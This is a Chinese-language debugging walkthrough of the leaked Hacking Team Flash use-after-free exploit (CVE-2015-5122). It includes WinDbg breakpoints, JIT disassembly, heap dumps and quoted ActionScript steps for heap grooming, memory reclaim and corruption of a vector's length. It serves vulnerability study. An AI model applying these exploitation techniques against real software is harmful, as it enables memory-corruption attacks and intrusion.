技术分析:Hacking Team Flash 0day

借HackingTeam Flash 0day事件详细介绍下调试流程以及jitcode,帮助一些朋友们后续更好的学习。

ValueOf 频出漏洞,adobe现在一直在缺哪补哪,7月8号才修复了hackingteam爆出来的0day CVE-2015-5119,紧接着10号又被人从泄露的邮件中挖掘出另一个0day,又是valueOf的问题。这次这个0day是TextLine对 象的valueOf造成的UAF漏洞,Fireeye已经提交了adobe并领取了CVE-2015-5122,Adobe也发布了安全公告。

一直本着有人分析过的漏洞不在专门写文章来描述,有点重复工作的感觉。不过刚好有点想法通过这个文章详细介绍下调试流程以及jitcode,帮助一些朋友们后续更好的学习。

茫茫JIT CODE中,如何找到我们想要跟踪的代码呢?

茫 茫JIT CODE,如何找到我们想要跟踪的代码? 这里有很多方法,具体可以参见附录debug jitcode,这里通过先找到array的函数创建以及数据结构,获取设置值对应的实现函数, 来跟踪整个EXP 代码的JIT CODE 流程(PS:怎么找到的?根据附录里面的方法)

ARRAY Struct
+0x10   m_buffer
+0x18   m_pos
+0x1c   m_cab

Data
m_buffer + 8 + m_pos*4

Array Method 对应18.0.0.203.ocx 地址
106B54D0   ArrayObject::_setUintProperty
106AECB0   ArrayObject:create_array

通过设置如下断点来跟踪

bu Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x19b9c0 “.echo set array value;dd esp”   avmplus::ListImpl  // 10662080
bu Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x19b860 “set array value by obj”   // 10661F20
bu Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x1e85f0 “.echo createarray”
bu avmplus::ArrayObject::_setUintProperty

整个exp里面在真正TryExpl之前有个Check64函数,这里不详细讲述,原理跟TryExpl一样主要是用来做探路先小触发下漏洞获取当前是64位还是32位进程。

在调用TryExpl之前有几次分配array 可以直接忽略,可以根据TryExpl里面的Array长度为0x7E来识别

In TryExpl

1 ArrayCreate

_arLen1 = 10 * 3;                    //0x1e
_arLen2 = _arLen1 + 4 * 4;    //0x2e
_arLen = _arLen2 + 10 * 8;    //0x7e
_ar = new Array(_arLen);       //0x7E

Createarray函数返回ArrayObject对象地址

2 Fill Array  memory   0-0x1E

_vLen = 400/4-2;
// fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)
for(var i:int; i < _arLen1; i++) //  0 <= I –< 0x1e
_ar[i] = new Vector.<uint>(_vLen);//_vLen=0x62

此段代码执行后,ArrayObject->m_buffer+8 处0 – 0x1e 偏移填充了vector<uint>(_vLen)对象

0:008> dd 092ff4c0 +8  // 0-0x1e fill vector
092ff4c8  09327df9 09327e21 09327e49 09327e99
092ff4d8  09327ec1 09327ee9 08f25039 08f25061
092ff4e8  08f25089 08f250b1 08f250d9 08f25101
092ff4f8  08f25129 08f25151 08f25179 08f251a1
092ff508  08f251c9 08f251f1 08f25219 08f25241
092ff518  08f25269 08f25291 08f252b9 08f252e1
092ff528  08f25309 08f25331 08f25359 08f25381
092ff538  08f253a9 08f253d1 00000000 00000000
//vector.<uint>(_vLen)对象
0:008> dd 09327df9 -1   atom decrement
09327df8  08204748 00000002 0934d1f0 092bffd0
09327e08  09318150 00000000 093cf1b0 00000000    //m_buffer
09327e18  00000000 00000000 08204748 00000002
09327e28  0934d1f0 092bffd0 09318150 00000000
09327e38  093cf340 00000000 00000000 00000000
09327e48  08204748 00000002 0934d1f0 092bffd0
09327e58  09318150 00000000 093cf4d0 00000000
09327e68  00000000 00000000 081f2e90 00000004

0:008> dd 093cf1b0  //vector buffer
093cf1b0  00000062 08d42000 00000000 00000000 //length
093cf1c0  00000000 00000000 00000000 00000000
093cf1d0  00000000 00000000 00000000 00000000
093cf1e0  00000000 00000000 00000000 00000000
093cf1f0  00000000 00000000 00000000 00000000
093cf200  00000000 00000000 00000000 00000000
093cf210  00000000 00000000 00000000 00000000
093cf220  00000000 00000000 00000000 00000000

3 Fill Array  memory   0x2E-0x7E

此段代码执行后,ArrayObject->m_buffer+8+0x2e*I 处填充了vector<uint>(8)对象,见蓝色字体部分

4 Prepare TextLines  0x1e-0x2e

此段代码从0x1e到0x2e 分配TextLineObject并且填充,红色字体部分为TextLineObject

5 Set opaqueBackground Alloc BackGroudObj

此段代码对于上面分配的TextLineObj设置opaqueBackground属性,触发分配BackGroundObject。

如何从上面的jitcode跟到这里,其实有很多方法,比如最简单的单步过来,或者对arrary[i]下访问读断点之后单步返回到jitcode领空

Jitcode
098c8331 83ec0c          sub     esp,0Ch
098c8334 53              push    ebx
098c8335 e846c931fe      call    Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x1ee5c0 (07be4c80)
098c833a 83c40c          add     esp,0Ch/ /return textline obj  getproperty
….

098c8374 ffb514ffffff    push    dword ptr [ebp-0ECh]
098c837a 6a0e            push    0Eh
098c837c 53              push    ebx
098c837d 68e0c63109      push    931C6E0h
098c8382 ffd0            call    eax {Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x206590 (07bfcc50)}
// setproperty opaqueBackground

avmplus::setprop_miss — avmplus::setprop_setter – …….. – sub_1025DD12 如果加载了avm

plus sig的话可以看到一些符号路径

void __thiscall set_opaqueBackground(int textline_obj, unsigned int a2) // 1025DD12
{
int v2; // ebp@1
int v3; // edi@1
int buf; // eax@2
int v5; // esi@2
signed int v6; // eax@7

v2 = textline_obj;
v3 = *(_DWORD *)(textline_obj + 0x24);
if ( v3 )
{
buf = sub_10021F6D(v3);
v5 = buf;
if ( a2 > 4 )
{
if ( !buf )
v5 = sub_1025DC52((void *)v2);          // 分配0x390 BackgroudObj
avmplus::AvmCore::integer(a2);            // 对参数进行转换 调用valueOf函数
*(_DWORD *)(v5 + 0x30C) |= 4u;
*(_BYTE *)(sub_102B7B16(v2) + 2144) = 1;
*(_BYTE *)(v5 + 0x322) = v6 >> 16;
*(_BYTE *)(v5 + 0x320) = v6;
*(_BYTE *)(v5 + 0x321) = BYTE1(v6);
}
else if ( buf )
{
*(_DWORD *)(buf + 0x30C) &= 0xFFFFFFFB;
}
sub_10104280(1, 0);
if ( v5 )
*(_BYTE *)(v5 + 0x1E0) = 1;
*(_DWORD *)(v3 + 0x20) |= 4u;
}
}

set_opaqueBackground函数首 先判断BackGroudObj是否存在,不存在则调用1025DC52分配0×390大小的Object,随后调用 avmplus::AvmCore::integer对写入的参数进行转换,这里如果传入的是Object 会调用相应的valueOf函数。

通过设置如下断点 即可打印所有的分配BackgroudObj 地址

bu Flash32_18_0_0_203!DllUnregisterServer+0x74868 “.echo allocate 0x390 obj;r eax”

>dd eax
09959418  080c4380 00000001 08d550b0 08d4e000
09959428  00000000 00000000 00000000 00000000
09959438  00000000 00000000 00000000 00000000
09959448  00000000 00000000 00000000 00000000
09959458  00000000 00000000 00000000 00000000
09959468  00000000 00000000 00000004 00000000
09959478  00000001 00000000 00010000 00000000
09959488  00000000 00000000 00000000 00000000

6 Memory Layout

执行上面的as语句之后,此时整个内存布局,可以通过windbg的搜索命令获得

Vector.<uint>(_vLen);
093cf1b0  00000062 08d42000 00000000 00000000  b…. ………. //vector1
093cf340  00000062 08d42000 00000000 00000000  b…. ………. //vector2
093cf4d0  00000062 08d42000 00000000 00000000  b…. ………. //…….
093cf660  00000062 08d42000 00000000 00000000  b…. ……….
093cf7f0  00000062 08d42000 00000000 00000000  b…. ……….
093cf980  00000062 08d42000 00000000 00000000  b…. ……….
093cfb10  00000062 08d42000 00000000 00000000  b…. ……….
093cfca0  00000062 08d42000 00000000 00000000  b…. ……….
093cfe30  00000062 08d42000 00000000 00000000  b…. ……….
09474020  00000062 08d42000 00000000 00000000  b…. ……….
094741b0  00000062 08d42000 00000000 00000000  b…. ……….
09474340  00000062 08d42000 00000000 00000000  b…. ……….
094744d0  00000062 08d42000 00000000 00000000  b…. ……….
09474660  00000062 08d42000 00000000 00000000  b…. ……….
094747f0  00000062 08d42000 00000000 00000000  b…. ……….
09474980  00000062 08d42000 00000000 00000000  b…. ……….
09474b10  00000062 08d42000 00000000 00000000  b…. ……….
09474ca0  00000062 08d42000 00000000 00000000  b…. ……….
09474e30  00000062 08d42000 00000000 00000000  b…. ……….
09476020  00000062 08d42000 00000000 00000000  b…. ……….
094761b0  00000062 08d42000 00000000 00000000  b…. ……….
09476340  00000062 08d42000 00000000 00000000  b…. ……….
094764d0  00000062 08d42000 00000000 00000000  b…. ……….
09476660  00000062 08d42000 00000000 00000000  b…. ……….
094767f0  00000062 08d42000 00000000 00000000  b…. ……….
09476980  00000062 08d42000 00000000 00000000  b…. ……….
09476b10  00000062 08d42000 00000000 00000000  b…. ……….
09476ca0  00000062 08d42000 00000000 00000000  b…. ……….
09476e30  00000062 08d42000 00000000 00000000  b…. ……….
09954020  00000062 08d42000 00000000 00000000  b…. ……….

// Vector.<uint>(8)
08d3e390  00000008 08d42000 00000030 00000000  ….. ..0…….
08d3e688  00000008 08d42000 00000035 00000000  ….. ..5…….
08d3e6d8  00000008 08d42000 0000002f 00000000  ….. ../…….
08d3e7c8  00000008 08d42000 0000002e 00000000  ….. ……….
08d3e8b8  00000008 08d42000 00000031 00000000  ….. ..1…….
08d3e8e0  00000008 08d42000 00000032 00000000  ….. ..2…….
08d3e908  00000008 08d42000 00000034 00000000  ….. ..4…….
08d3e930  00000008 08d42000 00000033 00000000  ….. ..3…….
08d3e980  00000008 08d42000 00000036 00000000  ….. ..6…….
08d3e9a8  00000008 08d42000 00000037 00000000  ….. ..7…….
08d3e9d0  00000008 08d42000 00000038 00000000  ….. ..8…….
08d3e9f8  00000008 08d42000 00000039 00000000  ….. ..9…….
08d3ea20  00000008 08d42000 0000003a 00000000  ….. ..:…….
08d3ea48  00000008 08d42000 0000003b 00000000  ….. ..;…….
08d3ea70  00000008 08d42000 0000003c 00000000  ….. ..<…….
08d3ea98  00000008 08d42000 0000003d 00000000  ….. ..=…….
08d3eac0  00000008 08d42000 0000003e 00000000  ….. ..>…….
08d3eae8  00000008 08d42000 0000003f 00000000  ….. ..?…….
08d3eb10  00000008 08d42000 00000040 00000000  ….. ..@…….
08d3eb38  00000008 08d42000 00000041 00000000  ….. ..A…….
08d3eb60  00000008 08d42000 00000042 00000000  ….. ..B…….
08d3eb88  00000008 08d42000 00000043 00000000  ….. ..C…….
08d3ebb0  00000008 08d42000 00000044 00000000  ….. ..D…….
08d3ebd8  00000008 08d42000 00000045 00000000  ….. ..E…….
08d3ec00  00000008 08d42000 00000046 00000000  ….. ..F…….
08d3ec28  00000008 08d42000 00000047 00000000  ….. ..G…….
08d3ec50  00000008 08d42000 00000048 00000000  ….. ..H…….
08d3ec78  00000008 08d42000 00000049 00000000  ….. ..I…….
08d3eca0  00000008 08d42000 0000004a 00000000  ….. ..J…….
08d3ecc8  00000008 08d42000 0000004b 00000000  ….. ..K…….
08d3ecf0  00000008 08d42000 0000004c 00000000  ….. ..L…….
08d3ed18  00000008 08d42000 0000004d 00000000  ….. ..M…….
08d3ed40  00000008 08d42000 0000004e 00000000  ….. ..N…….
08d3ed68  00000008 08d42000 0000004f 00000000  ….. ..O…….
08d3ed90  00000008 08d42000 00000050 00000000  ….. ..P…….
08d3edb8  00000008 08d42000 00000051 00000000  ….. ..Q…….
08d3ede0  00000008 08d42000 00000052 00000000  ….. ..R…….
08d3ee08  00000008 08d42000 00000053 00000000  ….. ..S…….
08d3ee30  00000008 08d42000 00000054 00000000  ….. ..T…….
08d3ee58  00000008 08d42000 00000055 00000000  ….. ..U…….
08d3ee80  00000008 08d42000 00000056 00000000  ….. ..V…….
08d3eea8  00000008 08d42000 00000057 00000000  ….. ..W…….
08d3eed0  00000008 08d42000 00000058 00000000  ….. ..X…….
08d3eef8  00000008 08d42000 00000059 00000000  ….. ..Y…….
08d3ef20  00000008 08d42000 0000005a 00000000  ….. ..Z…….
08d3ef48  00000008 08d42000 0000005b 00000000  ….. ..[…….
08d3ef70  00000008 08d42000 0000005c 00000000  ….. ..\…….
08d3ef98  00000008 08d42000 0000005d 00000000  ….. ..]…….
08d3efc0  00000008 08d42000 0000005e 00000000  ….. ..^…….
09955020  00000008 08d42000 0000005f 00000000  ….. .._…….
09955048  00000008 08d42000 00000060 00000000  ….. ..`…….
09955070  00000008 08d42000 00000061 00000000  ….. ..a…….
09955098  00000008 08d42000 00000062 00000000  ….. ..b…….
099550c0  00000008 08d42000 00000063 00000000  ….. ..c…….
099550e8  00000008 08d42000 00000064 00000000  ….. ..d…….
09955110  00000008 08d42000 00000065 00000000  ….. ..e…….
09955138  00000008 08d42000 00000066 00000000  ….. ..f…….
09955160  00000008 08d42000 00000067 00000000  ….. ..g…….
09955188  00000008 08d42000 00000068 00000000  ….. ..h…….
099551b0  00000008 08d42000 00000069 00000000  ….. ..i…….
099551d8  00000008 08d42000 0000006a 00000000  ….. ..j…….
09955200  00000008 08d42000 0000006b 00000000  ….. ..k…….
09955228  00000008 08d42000 0000006c 00000000  ….. ..l…….
09955250  00000008 08d42000 0000006d 00000000  ….. ..m…….
09955278  00000008 08d42000 0000006e 00000000  ….. ..n…….
099552a0  00000008 08d42000 0000006f 00000000  ….. ..o…….
099552c8  00000008 08d42000 00000070 00000000  ….. ..p…….
099552f0  00000008 08d42000 00000071 00000000  ….. ..q…….
09955318  00000008 08d42000 00000072 00000000  ….. ..r…….
09955340  00000008 08d42000 00000073 00000000  ….. ..s…….
09955368  00000008 08d42000 00000074 00000000  ….. ..t…….
09955390  00000008 08d42000 00000075 00000000  ….. ..u…….
099553b8  00000008 08d42000 00000076 00000000  ….. ..v…….
099553e0  00000008 08d42000 00000077 00000000  ….. ..w…….
09955408  00000008 08d42000 00000078 00000000  ….. ..x…….
09955430  00000008 08d42000 00000079 00000000  ….. ..y…….
09955458  00000008 08d42000 0000007a 00000000  ….. ..z…….
09955480  00000008 08d42000 0000007b 00000000  ….. ..{…….
099554a8  00000008 08d42000 0000007c 00000000  ….. ..|…….
099554d0  00000008 08d42000 0000007d 00000000  ….. ..}…….

//BackGroudobj
09952020  080c4380 00000001 08d550b0 08d4e000  .C…….P……
09959020  080c4380 00000001 08d550b0 08d4e000  .C…….P……
09959418  080c4380 00000001 08d550b0 08d4e000  .C…….P……
09959810  080c4380 00000001 08d550b0 08d4e000  .C…….P……
09959c08  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995a020  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995a418  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995a810  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995ac08  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995b020  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995b418  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995b810  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995bc08  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995c020  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995c418  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995c810  080c4380 00000001 08d550b0 08d4e000  .C…….P……

7 Reset myclass valueof

// set custom valueOf() for _mc
MyClass.prototype.valueOf = valueOf2;

此段代码重置MyClass的valueOf函数

8 Trigger call valueOf2

// here we go, call the vulnerable setter
_cnt = _arLen2-6;
_ar[_cnt].opaqueBackground = _mc;

从第6节的set_opaqueBackground可以看到设置属性时会对参数调用

avmplus::AvmCore::integer进行转换时会调用valueOf函数,这里调用触发UAF,可以直接对set_opauebackgroud函数下断,跟踪avmplus::AvmCore::integer获取到valueOf的jit code

In valueOf2

1 Recursive call set opaqueBackground

if (++_cnt < _arLen2) {
// recursive call for next TextLine
_ar[_cnt].opaqueBackground = _mc;

初始时_cnt为0×28 _arLen2 = 0x2e,满足条件 循环调用_ar[_cnt].opaqueBackground直至_cnt 等于_arLen2-1,调用6次设置opaqueBackground函数,进入一个堆栈嵌套循环调用

这 里进行嵌套的目的是随后释放对象被占用后,avmplus::AvmCore::integer调用返回到 set_opaqueBackground函数中,后面有对BackgroudObj进行写操作,从而改写重新占用的 vector<uint> buffer的长度值。

2 free textline inner obj

// free internal objects
for(var i:int=1; i <= 5; i++)
_tb.recreateTextLine(_ar[_arLen2-i]); //0x2d<= <=0x29

此段代码对0×29 到0x2d 位置的TextLineObject释放,触发之前分配的0×390的BackgroudObj释放。

此时可以通过对Array->m_buffer+8+0x2d*4  设置读取断点

dd 08d560b0 +0x8+0x2d*4  //_ar[_arLen2-i]

ba r 1 08d5616c   //设置读取断点 之后返回 找到相应的jitcode

jitcode
098c736e 83ec0c          sub     esp,0Ch
098c7371 57              push    edi
098c7372 e8a9d531fe      call    Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x1ee260 (07be4920)
098c7377 83c40c          add     esp,0Ch
098c737a 8985fcfeffff    mov     dword ptr [ebp-104h],eax
098c7380 8bbdfcfeffff    mov     edi,dword ptr [ebp-104h]
098c7386 89bdf4feffff    mov     dword ptr [ebp-10Ch],edi
098c738c eb19            jmp     098c73a7
…..
098c740e 83ec04          sub     esp,4
098c7411 57              push    edi
098c7412 6a01            push    1
098c7414 53              push    ebx
098c7415 ffd0            call    eax       //recreateline
098c7417 83c410          add     esp,10h
098c741a c7458c64000000  mov     dword ptr [ebp-74h],64h
098c7421 c7458c66000000  mov     dword ptr [ebp-74h],66h
098c7428 8b5e10          mov     ebx,dword ptr [esi+10h]
098c742b c7458c68000000  mov     dword ptr [ebp-74h],68h
098c7432 8d5b01          lea     ebx,[ebx+1]  //0-5
098c7435 c7458c69000000  mov     dword ptr [ebp-74h],69h
098c743c c7458c6b000000  mov     dword ptr [ebp-74h],6Bh
098c7443 c7458c6c000000  mov     dword ptr [ebp-74h],6Ch
098c744a 895e10          mov     dword ptr [esi+10h],ebx
098c744d c7458c6e000000  mov     dword ptr [ebp-74h],6Eh
098c7454 8b75b8          mov     esi,dword ptr [ebp-48h]
098c7457 89b5fcfeffff    mov     dword ptr [ebp-104h],esi
098c745d 8bc0            mov     eax,eax
098c745f c7458c70000000  mov     dword ptr [ebp-74h],70h
098c7466 8b5e10          mov     ebx,dword ptr [esi+10h]

此时之前分配的BackGroudObj被释放

0:008> s -d 0x0 l?0x7fffffff 080c4380 00000001 08d550b0 08d4e000
09952020  080c4380 00000001 08d550b0 08d4e000  .C…….P……
09959020  080c4380 00000001 08d550b0 08d4e000  .C…….P……
09959418  080c4380 00000001 08d550b0 08d4e000  .C…….P……
09959810  080c4380 00000001 08d550b0 08d4e000  .C…….P……
09959c08  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995a020  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995a418  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995a810  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995ac08  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995b020  080c4380 00000001 08d550b0 08d4e000  .C…….P……
0995b418  080c4380 00000001 08d550b0 08d4e000  .C…….P……

这时只能搜索到11个BackGroudObj,后面5个BackGroudObj已经被释放

3 reuse feed memmory

此段代码的对0x2e-0x7e的vector<uint>(8)对象长度重新设置,触发重新分配buffer。

继续跟踪之前的jit code随后即可看到这里

Jit code
098c75e9 8b7db8          mov     edi,dword ptr [ebp-48h]
098c75ec c7458ca1000000  mov     dword ptr [ebp-74h],0A1h
098c75f3 8b5f10          mov     ebx,dword ptr [edi+10h]
098c75f6 c7458ca3000000  mov     dword ptr [ebp-74h],0A3h
098c75fd 8b7e20          mov     edi,dword ptr [esi+20h]
098c7600 83e7f8          and     edi,0FFFFFFF8h
098c7603 8b7720          mov     esi,dword ptr [edi+20h]
098c7606 c7458ca6000000  mov     dword ptr [ebp-74h],0A6h
098c760d 3bde            cmp     ebx,esi //2e<0x7e
098c760f 0f8cabfeffff    jl      098c74c0

之前申请的vector<uint>(8)对象的buffer重新申请,对应的buffer长度已经改变

0:008> dd 08f253f9 -1
08f253f8  08204748 00000002 0934d1f0 092bffd0
08f25408  09318150 00000000 099541b0 00000000
08f25418  00000000 00000000 08204748 00000002
08f25428  0934d1f0 092bffd0 09318150 00000000
08f25438  09954340 00000000 00000000 00000000
08f25448  08204748 00000002 0934d1f0 092bffd0
08f25458  09318150 00000000 099544d0 00000000
08f25468  00000000 00000000 08204748 00000002
0:008> dd 099541b0
099541b0  00000062 08d42000 0000002e 00000000
099541c0  00000000 00000000 00000000 00000000
099541d0  00000000 00000000 00000000 00000000
099541e0  00000000 00000000 00000000 00000000
099541f0  00000000 00000000 00000000 00000000
09954200  00000000 00000000 00000000 00000000
09954210  00000000 00000000 00000000 00000000
09954220  00000000 00000000 00000000 00000000

重新分配的vector内存布局

s -d 0x0 l?0x7fffffff 00000062 08d42000
099541b0  00000062 08d42000 0000002e 00000000  b…. ……….
09954340  00000062 08d42000 0000002f 00000000  b…. ../…….
099544d0  00000062 08d42000 00000030 00000000  b…. ..0…….
09954660  00000062 08d42000 00000031 00000000  b…. ..1…….
099547f0  00000062 08d42000 00000032 00000000  b…. ..2…….
09954980  00000062 08d42000 00000033 00000000  b…. ..3…….
09954b10  00000062 08d42000 00000034 00000000  b…. ..4…….
09954ca0  00000062 08d42000 00000035 00000000  b…. ..5…….
09954e30  00000062 08d42000 00000036 00000000  b…. ..6…….
0995c020  00000062 08d42000 00000037 00000000  b…. ..7…….
0995c1b0  00000062 08d42000 00000038 00000000  b…. ..8…….
0995c340  00000062 08d42000 00000039 00000000  b…. ..9…….

0995c4d0  00000062 08d42000 0000003a 00000000  b…. ..:…….
0995c660  00000062 08d42000 0000003b 00000000  b…. ..;…….
0995c7f0  00000062 08d42000 0000003c 00000000  b…. ..<…….
0995c980  00000062 08d42000 0000003d 00000000  b…. ..=…….
0995cb10  00000062 08d42000 0000003e 00000000  b…. ..>…….
0995cca0  00000062 08d42000 0000003f 00000000  b…. ..?…….
0995ce30  00000062 08d42000 00000040 00000000  b…. ..@…….
0995e020  00000062 08d42000 00000041 00000000  b…. ..A…….
0995e1b0  00000062 08d42000 00000042 00000000  b…. ..B…….
0995e340  00000062 08d42000 00000043 00000000  b…. ..C…….
0995e4d0  00000062 08d42000 00000044 00000000  b…. ..D…….
0995e660  00000062 08d42000 00000045 00000000  b…. ..E…….
0995e7f0  00000062 08d42000 00000046 00000000  b…. ..F…….
0995e980  00000062 08d42000 00000047 00000000  b…. ..G…….
0995eb10  00000062 08d42000 00000048 00000000  b…. ..H…….
0995eca0  00000062 08d42000 00000049 00000000  b…. ..I…….
0995ee30  00000062 08d42000 0000004a 00000000  b…. ..J…….
0995f020  00000062 08d42000 0000004b 00000000  b…. ..K…….
0995f1b0  00000062 08d42000 0000004c 00000000  b…. ..L…….
0995f340  00000062 08d42000 0000004d 00000000  b…. ..M…….
0995f4d0  00000062 08d42000 0000004e 00000000  b…. ..N…….
0995f660  00000062 08d42000 0000004f 00000000  b…. ..O…….
0995f7f0  00000062 08d42000 00000050 00000000  b…. ..P…….
0995f980  00000062 08d42000 00000051 00000000  b…. ..Q…….
0995fb10  00000062 08d42000 00000052 00000000  b…. ..R…….
0995fca0  00000062 08d42000 00000053 00000000  b…. ..S…….
0995fe30  00000062 08d42000 00000054 00000000  b…. ..T…….
09968020  00000062 08d42000 00000055 00000000  b…. ..U…….
099681b0  00000062 08d42000 00000056 00000000  b…. ..V…….
09968340  00000062 08d42000 00000057 00000000  b…. ..W…….
099684d0  00000062 08d42000 00000058 00000000  b…. ..X…….
09968660  00000062 08d42000 00000059 00000000  b…. ..Y…….
099687f0  00000062 08d42000 0000005a 00000000  b…. ..Z…….
09968980  00000062 08d42000 0000005b 00000000  b…. ..[…….
09968b10  00000062 08d42000 0000005c 00000000  b…. ..\…….
09968ca0  00000062 08d42000 0000005d 00000000  b…. ..]…….
09968e30  00000062 08d42000 0000005e 00000000  b…. ..^…….
09969020  00000062 08d42000 0000005f 00000000  b…. .._…….
099691b0  00000062 08d42000 00000060 00000000  b…. ..`…….
09969340  00000062 08d42000 00000061 00000000  b…. ..a…….
099694d0  00000062 08d42000 00000062 00000000  b…. ..b…….
09969660  00000062 08d42000 00000063 00000000  b…. ..c…….
099697f0  00000062 08d42000 00000064 00000000  b…. ..d…….
09969980  00000062 08d42000 00000065 00000000  b…. ..e…….
09969b10  00000062 08d42000 00000066 00000000  b…. ..f…….
09969ca0  00000062 08d42000 00000067 00000000  b…. ..g…….
09969e30  00000062 08d42000 00000068 00000000  b…. ..h…….
0996a020  00000062 08d42000 00000069 00000000  b…. ..i…….
0996a1b0  00000062 08d42000 0000006a 00000000  b…. ..j…….
0996a340  00000062 08d42000 0000006b 00000000  b…. ..k…….
0996a4d0  00000062 08d42000 0000006c 00000000  b…. ..l…….
0996a660  00000062 08d42000 0000006d 00000000  b…. ..m…….
0996a7f0  00000062 08d42000 0000006e 00000000  b…. ..n…….
0996a980  00000062 08d42000 0000006f 00000000  b…. ..o…….
0996ab10  00000062 08d42000 00000070 00000000  b…. ..p…….
0996aca0  00000062 08d42000 00000071 00000000  b…. ..q…….
0996ae30  00000062 08d42000 00000072 00000000  b…. ..r…….
0996b020  00000062 08d42000 00000073 00000000  b…. ..s…….
0996b1b0  00000062 08d42000 00000074 00000000  b…. ..t…….
0996b340  00000062 08d42000 00000075 00000000  b…. ..u…….
0996b4d0  00000062 08d42000 00000076 00000000  b…. ..v…….
0996b660  00000062 08d42000 00000077 00000000  b…. ..w…….
0996b7f0  00000062 08d42000 00000078 00000000  b…. ..x…….
0996b980  00000062 08d42000 00000079 00000000  b…. ..y…….
0996bb10  00000062 08d42000 0000007a 00000000  b…. ..z…….
0996bca0  00000062 08d42000 0000007b 00000000  b…. ..{…….
0996be30  00000062 08d42000 0000007c 00000000  b…. ..|…….
0996c020  00000062 08d42000 0000007d 00000000  b…. ..}…….

而之前释放的5个BackGroudObj的地址,可以看到红色部分已经被分配的vector buffer重新占用

4 Recurisive return

随后avmplus::AvmCore::integer调用valueOf函数开始返回到之前的set_opaqueBackground函数中,后面对BackgroundObj进行一些初始化

*(_DWORD *)(v5 + 0x30C) |= 4u;
*(_BYTE *)(sub_102B7B16(v2) + 0x860) = 1;
*(_BYTE *)(v5 + 0x322) = v6 >> 16;
*(_BYTE *)(v5 + 0x320) = v6;  //KEY
*(_BYTE *)(v5 + 0x321) = BYTE1(v6);

Breakpoint 6 hit
eax=00000000 ebx=0000006a ecx=09957850 edx=00000006 esi=0995c810 edi=09951e50
eip=0778dd7e esp=038fe5a4 ebp=09957850 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
0778dd7e 889e20030000    mov     byte ptr [esi+320h],bl     ds:0023:0995cb30=00
0:008> g
Breakpoint 6 hit
eax=00000000 ebx=0000006a ecx=09957850 edx=00000006 esi=0995c810 edi=09951e50
eip=0778dd7e esp=038fe5a4 ebp=09957850 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
0778dd7e 889e20030000    mov     byte ptr [esi+320h],bl     ds:0023:0995cb30=00
0:008> g
Breakpoint 6 hit
eax=00000000 ebx=0000006a ecx=09957708 edx=00000006 esi=0995c418 edi=09951d78
eip=0778dd7e esp=038fe82c ebp=09957708 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
0778dd7e 889e20030000    mov     byte ptr [esi+320h],bl     ds:0023:0995c738=00
0:008> g
Breakpoint 6 hit
eax=00000000 ebx=0000006a ecx=09957708 edx=00000006 esi=0995c418 edi=09951d78
eip=0778dd7e esp=038fe82c ebp=09957708 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
0778dd7e 889e20030000    mov     byte ptr [esi+320h],bl     ds:0023:0995c738=00
0:008> g
Breakpoint 6 hit
eax=00000000 ebx=0000006a ecx=099575c0 edx=00000006 esi=0995c020 edi=09951ca0
eip=0778dd7e esp=038feab4 ebp=099575c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
0778dd7e 889e20030000    mov     byte ptr [esi+320h],bl     ds:0023:0995c340=62

刚好0×320 offset处为下一个vector<uint>(0×62)的buffer长度字段

0:008> dd 0995c340  //vector<uint>(0x62) mbuffer
0995c340  00000062 08d42000 00000039 00000000
0995c350  00000000 00000000 00000000 00000000
0995c360  00000000 00000000 00000000 00000000
0995c370  00000000 00000000 00000000 00000000
0995c380  00000000 00000000 00000000 00000000
0995c390  00000000 00000000 00000000 00000000
0995c3a0  00000000 00000000 00000000 00000000
0995c3b0  00000000 00000000 00000000 00000000

执行之后vector<uint>(0×62)长度被修改为0x6a

5 Find corrupted vector length

for(i=_arLen2; i < _arLen; i++) {
_vu = _ar[i];
if (_vu.length > _vLen+2) {
Log(“ar[“+i+”].length = ” + Hex(_vu.length));
Log(“ar[“+i+”][“+Hex(_vLen)+”] = ” + Hex(_vu[_vLen]));
if (_vu[_vLen] == _vLen) {
// corrupt next vector
_vu[_vLen] = LEN40;//0x40000000
// get corrupted vector
_vu = _ar[_vu[_vLen+2]];
break;
}
};// else CheckCorrupted(_vu, i); // 4RnD
}

由于某一个vector<uint>(0×62)的长度被改成0x6a 这里循环进行寻找,找到之后根据被修改的vector进而修改后面的vector长度。

_vu = _ar[_vu[_vLen+2]];  //由于之前通过设置_ar[i][0] = i; 标记了是哪个vector<uint>()。

0:008> dd 0995c340  +0x62*4+8
